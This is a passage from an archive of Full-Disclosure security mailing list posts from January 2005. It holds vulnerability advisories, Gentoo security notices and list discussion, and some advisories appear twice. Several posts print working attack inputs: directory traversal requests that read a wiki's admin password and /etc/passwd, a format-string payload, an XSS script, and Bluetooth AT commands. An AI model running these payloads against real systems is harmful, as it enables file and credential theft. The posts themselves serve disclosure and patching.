Connected.
[ATE1]
OK
ATI
Nokia

OK
AT+CPBS?
+CPBS: "SM",0,100

OK
AT+CPBR=?
+CPBR: (1-100),48,18

OK
ATDT+48609xxxxxx
OK


As you can see, the bug is really trivial and looks rather like backdoor.


[1] - http://www.thebunker.net/security/bluetooth.htm
[2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
[3] - http://www.gnokii.org/

-- 
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin at jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *


From sysadminkc at gmail.com  Tue Jan  4 16:28:59 2005
From: sysadminkc at gmail.com (SysAdminKC)
Date: Tue, 4 Jan 2005 10:28:59 -0600
Subject: [Full-Disclosure] Microsoft Windows BMP file buffer overflow
In-Reply-To: <20050103202008.16428.qmail@web53701.mail.yahoo.com>
References: <20050103202008.16428.qmail@web53701.mail.yahoo.com>
Message-ID: <25b486eb0501040828525c6e07@mail.gmail.com>

McAfee VirusScan Enterprise 7.0 with def's created on 12/29/04 (4417)
detected the 'Exploit-LoadImgAPI' trojan.

--Kendall
"There is nothing worse than aggressive stupidity." -- Johann Wolfgang
von Goethe


On Mon, 3 Jan 2005 12:20:08 -0800 (PST), Chenghuai Lu
<luchenghuai at yahoo.com> wrote:
> Double click the bmp file as attached in windows.
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html


From y_avenger_y at ua.fm  Tue Jan  4 12:01:20 2005
From: y_avenger_y at ua.fm (Alex V. Lukyanenko)
Date: Tue, 4 Jan 2005 14:01:20 +0200
Subject: [Full-Disclosure] The Macallan mail solution 4.0.6.8 (Build 786)
	contains several vulnerabilities
In-Reply-To: <000201c4ef34$600143d0$0201a8c0@CIRT>
References: <000201c4ef34$600143d0$0201a8c0@CIRT>
Message-ID: <458147347.20050104140120@ua.fm>

Hello CIRT,
DO you people think you digitally sign your correspondence by
attaching a public key block to the end?
EEEK!
I prefer to stay quiet about using an insecure-unless-proven-otherwise
type of MUA.

Friday, December 31, 2004, 2:29:29 PM, you wrote:
...
CA> X-Mailer: Microsoft Outlook, Build 10.0.4024
...
CA> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
...
CA> The Macallan Mail Solution are vulnerable to the problems shown below:
CA>         
CA> "Macallan Mail Solution Web Interface Authentication Bypass" similar to
CA> vulnerability reported earlier by Secunia
CA> http://secunia.com/advisories/10861/ 
CA> 
CA> Denial of Service when requesting an overly long URL starting with an
CA> interrogation mark on the web server
CA> 
CA> 
CA> To read the full advisory goto http://www.cirt.dk 
CA> 
CA> Regards
CA> Dennis Rand
CA> http://www.cirt.dk
CA> 
CA> -----BEGIN PGP PUBLIC KEY BLOCK-----
CA> Version: PGP 8.0
CA> 
CA> mQGiBEAf2xcRBADMrO7uP0dJq1ZsXkLZLqEhz58LL77qLbXOMNoDRkAo+4MTZoZC
CA> WMNkZsx3D5tbou4KJZCnayt0PFjymyYLsOJ6WauTfXOLA/L+sXTJCa7vSsWwlcQW
CA> m01uy0+djp3XumGHkWdWXvu5cXm7y+UjsF5iiQV8X9EGR18ApoCzA/mi/QCg/zzf
CA> Kw9x7XXGi1pLTpUBI/BvaRkD/2pZf4NLsF7TcCT/rDcNexxr5Ci9xHfglBFKUcQK
CA> 9NnF/umLLM3PVyFk8zl7Ra2d8rvPzhDdIi+VGu0Flv5ckRRhiu9A4sOE6zbTkv3f
CA> Q+je/ynnpl36OLswYG+iCELZqzOssRUTe4m9nSeJrbvtyFkW7I/UrBkfursed6yD
CA> vzVDA/4mrWEWgjZkO4wEefwg6FOXr2dChGmdoVXaDyKuQ89hp99THPIALjnorNQK
CA> 91IbzyJGX+HaU/KyfKgQfeEEd4znfi9EEaDNDzQmbCntmmCq2PAN0OOcqm4lVNOi
CA> CzEDvsweRxGdffQA+aoNjqeACL1YmPNnTWeNeMNYN7kYD9sTJrQgQ0lSVCBBZHZp
CA> c29yeSA8YWR2aXNvcnlAY2lydC5kaz6JAFgEEBECABgFAkAf2xcICwkIBwMCAQoC
CA> GQEFGwMAAAAACgkQX3fRHNAOUc+KAQCfUD3uwuQmiZjUNXmcKyzXVWFni7cAniIS
CA> fmTQMRf3rIs6kKmSXfnfrXG+uQINBEAf2xcQCAD2Qle3CH8IF3KiutapQvMF6PlT
CA> ETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZ
CA> X9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56N
CA> oKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kj
CA> wEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obE
CA> AxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAIC
CA> B/98f1FQkSzTqoH80viqqJTj3xZVe7xi+n4g4Ji3zuHW+jsgg6SPZOykCDSuzTCO
CA> hJ6LLnwFaqGGu2As7RaNd335P8rH1bLwWQMmIo+Kohj3Ya7cg6gPkkiMSZAIpdca
CA> cXVbxtKZ05dxcixddO2/HOc84/1mR8ajIOsmFKl4DXJ9OwCglgh1i914rQLx5mei
CA> K0XheewAT9eA13yPwbUR1EnormDdaz0USX3l5GBGgvHBO3Xy+muoL8Qzep4PIqfL
CA> Eg18tNXh0vQzBGdmhAjdSVSnSMBts4D5K20HC2YvbdPzWjVeyKg+yTYl4r3r1D+x
CA> vSPng/cCcSX1bESzjOMCE6PDiQBMBBgRAgAMBQJAH9sXBRsMAAAAAAoJEF930RzQ
CA> DlHPdCgAn1jt7gbjHBTQLwTuZH6mpvOnWYs+AJ4sIPIoGz+6/YQLbWr1zXEbmKxo
CA> CA==
CA> =4wBy
CA> -----END PGP PUBLIC KEY BLOCK-----
CA> 
CA> _______________________________________________
CA> Full-Disclosure - We believe in it.
CA> Charter: http://lists.netsys.com/full-disclosure-charter.html



-- 
Alex V. Lukyanenko | 86195208 at icq | y_avenger_y at ua.fm



From aluigi at autistici.org  Tue Jan  4 18:57:43 2005
From: aluigi at autistici.org (Luigi Auriemma)
Date: Tue, 4 Jan 2005 18:57:43 +0000
Subject: [Full-Disclosure] Socket termination,
 format string and XSS in Soldner Secret Wars 30830
Message-ID: <20050104185743.4e6bd4bf.aluigi@autistici.org>


#######################################################################

                             Luigi Auriemma

Application:  S?LDNER - Secret Wars
              http://www.secretwars.net
Versions:     <= 30830
Platforms:    Windows
Bugs:         A] silent socket termination
              B] in-game format string
              C] in-game cross site scripting versus admin
Exploitation: remote, versus server (B and C are in-game bugs)
Date:         04 Jan 2005
Author:       Luigi Auriemma
              e-mail: aluigi at autistici.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


S?LDNER is a tactical military game developed by Wings Simulations
(http://www.wingssimulations.com) and has been released in May 2004.


#######################################################################

=======
2) Bugs
=======

----------------------------
A] silent socket termination
----------------------------

The bug happens when the server receives an UDP packet of 1401 or more
bytes causing the immediate termination of the listening thread for a
bad handling of the "message too long" socket error.
The termination of the socket is silent (no warning or messages) so
the admin cannot easily understand what is happened.


------------------------
B] in-game format string
------------------------

An attacker can crash or execute remote code on the game server simply
sending a message containing the format arguments (like the classical
%n%n%n).


--------------------------------------------
C] in-game cross site scripting versus admin
--------------------------------------------

The S?LDNER server has a nice web interface (port 7890) useful for the
remote administration of the servers.
This web interface contains also a screen (chat) in which are shown all
the server logs included the messages exchanged by the users that are
not filtered and so an attacker can execute HTML or Javascript code in
the admin's browser.


#######################################################################

===========
3) The Code
===========

A] http://aluigi.altervista.org/poc/soldnersock.zip

B] %n%n%n

C] <script>alert("hello");</script>


#######################################################################

======
4) Fix
======


No fix.
No reply from the developers.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org




From peteoswald at comcast.net  Tue Jan  4 17:11:39 2005
From: peteoswald at comcast.net (Peter Oswald Jr.)
Date: Tue, 4 Jan 2005 12:11:39 -0500
Subject: [Full-Disclosure] Mysql windows 4.1.8 build PATH mess-up
Message-ID: <200501041715.j04HFmvO028383@lists.netsys.com>

Not sure if this has already been posted, but when Mysql 4.1.8 is installed,
it gives an option to add its bin directory to the PATH.  I am new to this
but I hope my explanation gets the point across. It modifies such an example
path:

 

PATH=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program
Files\Microsoft Visual Studio\Common\Tools\WinNT;C:\Program Files\Microsoft
Visual Studio\Common\MSDev98\Bin;C:\Program Files\Microsoft Visual
Studio\Common\Tools;C:\Program Files\Microsoft Visual
Studio\VC98\bin;C:\BC45\BIN

 

to-

 

PATH=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Progra
m Files\Microsoft Visual Studio\Common\Tools\WinNT;C:\Program
Files\Microsoft Visual Studio\Common\MSDev98\Bin;C:\Program Files\Microsoft
Visual Studio\Common\Tools;C:\Program Files\Microsoft Visual
Studio\VC98\bin;C:\BC45\BIN

 

It seems that %SystemRoot% does not get defined until a certain point (later
than needed) in the Windows boot process, and causes the problem of the
C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem directories not
getting set in the PATH.  For example, install Mysql 4.1.8 (windows build)
and select the option to add to PATH, then reboot.  Then try an "ipconfig"
and it will say unrecognized command, as well as any other executables that
are in the aforementioned directories.

 

-Peter Oswald

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/f692877f/attachment.html 

From madelman at iname.com  Tue Jan  4 19:31:41 2005
From: madelman at iname.com (Madelman)
Date: Tue, 04 Jan 2005 20:31:41 +0100
Subject: [Full-Disclosure] QWikiwiki directory traversal vulnerability
Message-ID: <41DAEF1D.5090907@iname.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Title: QWikiwiki directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 01/01/2005
Severity: Critical

Summary:
- --------

QwikiWiki is driven by one core design goal: simplicity. This design
goal is codified into three key principles:
~ Self Sufficiency: QwikiWiki requires only a web server and PHP.	
~ Zero-Edit Deployment: QwikiWiki is immediately usable "out of the box".	
~ Minimalist Featureset: QwikiWiki is not everything to everybody.	

QwikiWiki uses only cookies and the file system, and thus does not
require a MySQL server or any other database
support. Data is stored in simple text files, and backups are just
complete copies of the data directory. Ain't
nothing fancier than it need be.
(from vendor site: http://www.qwikiwiki.com)

QWikiwiki doesn't check the page parameter which allows reading any file

This vulnerability has been tested with QWikiwiki 1.4.1


Details:
- --------

If we want to read the password for QWikiwiki:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../_config.php%00
RETURNS: (looking at source of HTML)
[...]
$QW_CONFIG['title'] = "QwikiWiki";
$QW_CONFIG['adminName'] = "David Barrett";
$QW_CONFIG['adminPassword'] = 'changeme!'


We can also read any file the webserver has permission to:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00
RESPONSE:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]


Solution
- --------

Temporary Fix
In file _wikiLib.php substitute

function QWCreateDataPath?( $page, $extension )
{
return 'data/'. $page . $extension;
}

with

function QWCreateDataPath?( $page, $extension )
{
if (strpos($page, "..") === false) {
~   return 'data/'. $page . $extension;
} else {
~   return '';
}
}


Timeline
- --------

01/01/2005 - Vulnerability found
01/01/2005 - Vendor contacted
01/01/2005 - Vendor confirmed bug
04/01/2005 - Bug published in vendor page and advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB2u8d3RWooxY20cIRArbIAJsEu1pSqJuHdYpWmOO76oHoTxcixACgj/sP
BcUAER8m/maxIApdZEQ0MfA=
=LZ+j
-----END PGP SIGNATURE-----


From Valdis.Kletnieks at vt.edu  Sun Jan  2 02:59:42 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Sat, 01 Jan 2005 21:59:42 -0500
Subject: [Full-Disclosure] Just a thought (from an autoreply to another
	thread) 
In-Reply-To: Your message of "Fri, 31 Dec 2004 23:14:43 EST."
	<41D623B3.7060104@rogers.com> 
References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz>
	<41D623B3.7060104@rogers.com>
Message-ID: <200501020259.j022xgcc026905@turing-police.cc.vt.edu>

On Fri, 31 Dec 2004 23:14:43 EST, "Byron L. Sonne" said:
> You know, people that set these auto-replies often give out a good 
> amount of information (of the social engineering kind and otherwise), if 
> someone were to apply themselves...

I'm not sure which is worse, the fact that we all now know that his system
is probably fair game for attack for another week, or that we now know that
on Jan 9th, he's probably going to be piled under mail and not being quite
as careful on what he opens.  And I'd be amazed if the X-Mailer: header on
his mail didn't list out what vulnerabilities it had (correlate build level
to avisories.. ;)

> Schwarzwaelder, Joerg wrote:
> > I will not be in the office at least until January 9th, 2005.
> > 
> > Please send
> > - ssh, watchdog and hvu relocation issues to Alexander Bossert
> > - firewall issues to "security-support at dregis.com"

Hmm.. if he's usually the firewall issue person, it's likely that whoever is
reading security-support's mail is *less* experienced.

Hint: if the site *has* a security-support address, firewall issues
should *always* be going there rather than to a specific user, for
multiple reasons:

1) that way you know *somebody* will see it even if he's away from the office
and not reading the mail

2) Checks and balances - it keeps him honest because if somebody notices a firewall
issue that he created, he can't just hit delete and get away with it...
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/e3aba90f/attachment.bin 

From Valdis.Kletnieks at vt.edu  Sun Jan  2 02:46:22 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Sat, 01 Jan 2005 21:46:22 -0500
Subject: [Full-Disclosure] /bin/rm file access vulnerability 
In-Reply-To: Your message of "Thu, 30 Dec 2004 12:52:23 -0400."
	<007d01c4ee8f$ef38fd40$030a0a0a@captainwill> 
References: <20041230011825.21A116EEF6@ws1-5.us4.outblaze.com>
	<85f265f0412300445cc37697@mail.gmail.com>
	<007d01c4ee8f$ef38fd40$030a0a0a@captainwill>
Message-ID: <200501020246.j022kM4g015059@turing-police.cc.vt.edu>

On Thu, 30 Dec 2004 12:52:23 -0400, Jerry said:
> I have to agree with Shane on this.  The whole point of the admin a.k.a root
> user is to have full control over everything.  What's the point of that user
> if it can't delete of stop a set process when required if some user orphans
> something and can't get it back?

If you are in an environment that cares about security, one user having full
control is a Bad Thing.  And it's not just military sites either - one of the
first rules of accounting and auditing is that if one person is writing checks,
somebody *else* actually balances the books.

One common enhancement in Unix systems for high security is splitting out
what userids can run what commands, and getting rid of the "root" user entirely.
So for instance, one userid may be able to run the backup and restore commands,
but nothing else.  Meanwhile, you might have a "sysadmin" userid that can
kill processes and remove temp files - but which *cannot* alter the system
auditing settings - so if the sysadmin does something they shouldn't, it's
in the audit trail where it will be seen by the security admin.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/9927e054/attachment.bin 

From Valdis.Kletnieks at vt.edu  Sat Jan  1 06:41:56 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Sat, 01 Jan 2005 01:41:56 -0500
Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRIS
	and SecureIIS) 
In-Reply-To: Your message of "Thu, 30 Dec 2004 22:00:55 PST."
	<1104472854.2022.3515.camel@meposs> 
References: <200412291517.iBTFGsE6011085@lists.netsys.com>
	<1104472854.2022.3515.camel@meposs>
Message-ID: <200501010641.j016fun7021362@turing-police.cc.vt.edu>

On Thu, 30 Dec 2004 22:00:55 PST, "Daniel H. Renner" said:

> Not to bash my own country here but, this leads to a question: How can
> any security product, sub-product or service created in the U.S. hold
> credibility even with the good intentions that the creators may have
> originally had?

"Open Source Software".  That's how.

(Making a workable *business model* for making money doing it is a *different*
question. But you specifically asked "credibility"... ;)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/bd029d14/attachment.bin 

From stevex11 at sbcglobal.net  Tue Jan  4 21:11:36 2005
From: stevex11 at sbcglobal.net (Steve Kudlak)
Date: Tue, 04 Jan 2005 13:11:36 -0800
Subject: [Full-Disclosure] list noise
In-Reply-To: <010220051356.19809.41D7FD8300068D6E00004D6121612436460A900E0B0C0B@att.net>
References: <010220051356.19809.41D7FD8300068D6E00004D6121612436460A900E0B0C0B@att.net>
Message-ID: <41DB0688.5060908@sbcglobal.net>

dcdave at att.net wrote:

>I will NOT respond to this; 
>I will NOT respond to this; 
>I will Not respond to this;
>
>dcdave
>
>--
>CSO
>InfoSec Group
>703-626-6516		
>	
>
> -------------- Original message ----------------------
>From: phased <phased at mail.ru>
>  
>
>>I also care about noise, and responding to stupid mails makes it worse.
>>Every time people send stupid mails like the rm file thing, and people reply to 
>>the list, the author was successful in filling the list with crap for a day or 
>>so.
>>
>>If no one replies, then they dont get attention and the people who know their 
>>advisories(anyone with common sense) are blatantly crap will not be affected by 
>>their nuisance.
>>
>>You always get a load of emails to the list from people who want to tell 
>>everyone they know that an advisory for example was crap, yes we know
>>thank you, but we are not handing out gold stars today!!!
>>No need to tell us all every time!!!
>>
>>phased
>>
>>-----Original Message-----
>>From: Barrie Dempster <barrie at reboot-robot.net>
>>To: full-disclosure at lists.netsys.com
>>Date: Thu, 30 Dec 2004 09:36:07 +0000
>>Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRISand 
>>SecureIIS)
>>
>>    
>>
>>>I'd have to agree with the eEye statement on this one. You sent out an
>>>advisory without disclosing the details, which offers no real benefit to
>>>anyone. Many people consider this responsible disclosure but that also
>>>requires you to notify the vendor (there were no @eeye.com's in your
>>>"to" list but there were a couple of press mailboxes).
>>>
>>>You didn't contact eEye, you didn't release details, you used an
>>>anonymous address and failed to mention or credit any of the other guys
>>>in your "testing team", This can only lead us to believe that the
>>>advisory is fake and only intended to generate bad press for eEye. I
>>>personally don't care about eEye's PR rating but I do care about the
>>>level of noise on these lists and I do care about backdoor-ed commercial
>>>products that are in common use. You may have an issue with eEye and see
>>>this as revenge. However, I doubt you also have an issue with the many
>>>admins who probably have spent their holiday season investigating these
>>>claims, when there are likely more pressing matters to address, such as
>>>a large stock of alcohol.
>>>
>>>Show us details, or be quiet. If you intended to embarrass eEye the plan
>>>backfired as any competent professional on this list (there are a few -
>>>I've heard stories about them) would see this as a shameful attempt and
>>>would be laughing at you, not eEye.
>>>
>>>Seasons greetings to eEye and all Full Disclosure subscribers - even you
>>>"Lance Gusto".
>>>
>>>With Regards..
>>>Barrie Dempster (zeedo) - Fortiter et Strenue
>>>
>>>  http://www.bsrf.org.uk
>>>
>>>[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
>>>
>>>
>>>
>>>
>>>
>>>ATTACHMENT: application/pgp-signature ("signature.asc")
>>>
>>>_______________________________________________
>>>Full-Disclosure - We believe in it.
>>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>>
>>>
>>>      
>>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>    
>>
>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>  
>
Neither Will I!
Neither Will I!
Neither Will I!
Let it Die!
Let it Die!
Let it Die!;)

Have Fun,
Sends Steve



From koon at gentoo.org  Tue Jan  4 21:24:14 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Tue, 04 Jan 2005 22:24:14 +0100
Subject: [Full-Disclosure] [ GLSA 200501-01 ] LinPopUp: Buffer overflow in
	message reply
Message-ID: <41DB097E.4030503@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-01
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: LinPopUp: Buffer overflow in message reply
      Date: January 04, 2005
      Bugs: #74705
        ID: 200501-01

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

LinPopUp contains a buffer overflow potentially allowing execution of
arbitrary code.

Background
==========

LinPopUp is a graphical application that acts as a frontend to Samba
client messaging functions, allowing a Linux desktop to communicate
with a Microsoft Windows computer that runs Winpopup.

Affected packages
=================

    -------------------------------------------------------------------
     Package          /  Vulnerable  /                      Unaffected
    -------------------------------------------------------------------
  1  net-im/linpopup     < 2.0.4-r1                        >= 2.0.4-r1

Description
===========

Stephen Dranger discovered that LinPopUp contains a buffer overflow in
string.c, triggered when replying to a remote user message.

Impact
======

A remote attacker could craft a malicious message that, when replied
using LinPopUp, would exploit the buffer overflow. This would result in
the execution of arbitrary code with the privileges of the user running
LinPopUp.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All LinPopUp users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-im/linpopup-2.0.4-r1"

References
==========

  [ 1 ] CAN-2004-1282
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1282
  [ 2 ] Stephen Dranger Advisory
        http://tigger.uic.edu/~jlongs2/holes/linpopup.txt

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-01.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/41534f97/attachment.bin 

From koon at gentoo.org  Tue Jan  4 21:33:02 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Tue, 04 Jan 2005 22:33:02 +0100
Subject: [Full-Disclosure] [ GLSA 200501-02 ] a2ps: Insecure temporary files
	handling
Message-ID: <41DB0B8E.30006@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: a2ps: Insecure temporary files handling
      Date: January 04, 2005
      Bugs: #75784
        ID: 200501-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

The fixps and psmandup scripts in the a2ps package are vulnerable to
symlink attacks, potentially allowing a local user to overwrite
arbitrary files.

Background
==========

a2ps is an Any to Postscript filter that can convert to Postscript from
many filetypes. fixps is a script that fixes errors in Postscript
files. psmandup produces a Postscript file for printing in manual
duplex mode.

Affected packages
=================

    -------------------------------------------------------------------
     Package        /  Vulnerable  /                        Unaffected
    -------------------------------------------------------------------
  1  app-text/a2ps     < 4.13c-r2                          >= 4.13c-r2

Description
===========

Javier Fernandez-Sanguino Pena discovered that the a2ps package
contains two scripts that create insecure temporary files (fixps and
psmandup).

Impact
======

A local attacker could create symbolic links in the temporary files
directory, pointing to a valid file somewhere on the filesystem. When
fixps or psmandup is executed, this would result in the file being
overwritten with the rights of the user running the utility.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All a2ps users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/a2ps-4.13c-r2"

References
==========

  [ 1 ] Secunia SA13641
        http://secunia.com/advisories/13641/
  [ 2 ] CAN-2004-1170
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1170

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-02.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/8ad2ad83/attachment.bin 

From aluigi at autistici.org  Tue Jan  4 18:57:43 2005
From: aluigi at autistici.org (Luigi Auriemma)
Date: Tue, 4 Jan 2005 18:57:43 +0000
Subject: [Full-Disclosure] Socket termination,
	format string and XSS in Soldner Secret Wars 30830
Message-ID: <20050104185743.4e6bd4bf.aluigi@autistici.org>

<p align=\"left\"><b><font face=\"Arial\" size=\"2\">GFI MailSecurity's HTML threat engine found HTML scripts in this email and has disabled them.</font></b></p>
#######################################################################

                             Luigi Auriemma

Application:  S?LDNER - Secret Wars
              http://www.secretwars.net
Versions:     <= 30830
Platforms:    Windows
Bugs:         A] silent socket termination
              B] in-game format string
              C] in-game cross site scripting versus admin
Exploitation: remote, versus server (B and C are in-game bugs)
Date:         04 Jan 2005
Author:       Luigi Auriemma
              e-mail: aluigi at autistici.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


S?LDNER is a tactical military game developed by Wings Simulations
(http://www.wingssimulations.com) and has been released in May 2004.


#######################################################################

=======
2) Bugs
=======

----------------------------
A] silent socket termination
----------------------------

The bug happens when the server receives an UDP packet of 1401 or more
bytes causing the immediate termination of the listening thread for a
bad handling of the "message too long" socket error.
The termination of the socket is silent (no warning or messages) so
the admin cannot easily understand what is happened.


------------------------
B] in-game format string
------------------------

An attacker can crash or execute remote code on the game server simply
sending a message containing the format arguments (like the classical
%n%n%n).


--------------------------------------------
C] in-game cross site scripting versus admin
--------------------------------------------

The S?LDNER server has a nice web interface (port 7890) useful for the
remote administration of the servers.
This web interface contains also a screen (chat) in which are shown all
the server logs included the messages exchanged by the users that are
not filtered and so an attacker can execute HTML or Javascript code in
the admin's browser.


#######################################################################

===========
3) The Code
===========

A] http://aluigi.altervista.org/poc/soldnersock.zip

B] %n%n%n

C] <Xcript><!--alert("hello");--></Xcript>


#######################################################################

======
4) Fix
======


No fix.
No reply from the developers.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org




From madelman at iname.com  Tue Jan  4 19:31:41 2005
From: madelman at iname.com (Madelman)
Date: Tue, 04 Jan 2005 20:31:41 +0100
Subject: [Full-Disclosure] QWikiwiki directory traversal vulnerability
Message-ID: <41DAEF1D.5090907@iname.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Title: QWikiwiki directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 01/01/2005
Severity: Critical

Summary:
- --------

QwikiWiki is driven by one core design goal: simplicity. This design
goal is codified into three key principles:
~ Self Sufficiency: QwikiWiki requires only a web server and PHP.	
~ Zero-Edit Deployment: QwikiWiki is immediately usable "out of the box".	
~ Minimalist Featureset: QwikiWiki is not everything to everybody.	

QwikiWiki uses only cookies and the file system, and thus does not
require a MySQL server or any other database
support. Data is stored in simple text files, and backups are just
complete copies of the data directory. Ain't
nothing fancier than it need be.
(from vendor site: http://www.qwikiwiki.com)

QWikiwiki doesn't check the page parameter which allows reading any file

This vulnerability has been tested with QWikiwiki 1.4.1


Details:
- --------

If we want to read the password for QWikiwiki:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../_config.php%00
RETURNS: (looking at source of HTML)
[...]
$QW_CONFIG['title'] = "QwikiWiki";
$QW_CONFIG['adminName'] = "David Barrett";
$QW_CONFIG['adminPassword'] = 'changeme!'


We can also read any file the webserver has permission to:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00
RESPONSE:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]


Solution
- --------

Temporary Fix
In file _wikiLib.php substitute

function QWCreateDataPath?( $page, $extension )
{
return 'data/'. $page . $extension;
}

with

function QWCreateDataPath?( $page, $extension )
{
if (strpos($page, "..") === false) {
~   return 'data/'. $page . $extension;
} else {
~   return '';
}
}


Timeline
- --------

01/01/2005 - Vulnerability found
01/01/2005 - Vendor contacted
